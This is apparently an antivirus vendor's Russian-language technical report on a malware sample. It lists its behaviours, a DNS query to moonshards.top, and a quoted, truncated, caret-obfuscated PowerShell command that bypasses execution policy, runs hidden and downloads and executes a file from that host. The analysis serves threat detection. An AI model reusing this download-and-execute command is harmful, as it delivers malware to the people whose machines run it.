Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PoW^Er^S^heLL^.^Ex^E -e^X^Ec^utiO^NPoL^IcY^ By^pA^sS^ -n^oPROFi^LE -w^INDO^wsT^YlE^ hIDdEn ^(N^E^W-OB^jE^c^T ^s^y^stE^m.n^E^t^.W^Eb^Cli^Ent).DO^WNloaDFI^lE('http://moonshard...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PoW^Er^S^heLL^.^Ex^E -e^X^Ec^utiO^NPoL^IcY^ By^pA^sS^ -n^oPROFi^LE -w^INDO^wsT^YlE^ hIDdEn ^(N^E^W-OB^jE^c^T ^s^y^stE^m.n^E^t^.W^Eb^Cli^Ent).DO^WNloaDFI^lE('http://moonshard...' (со скрытым окном)
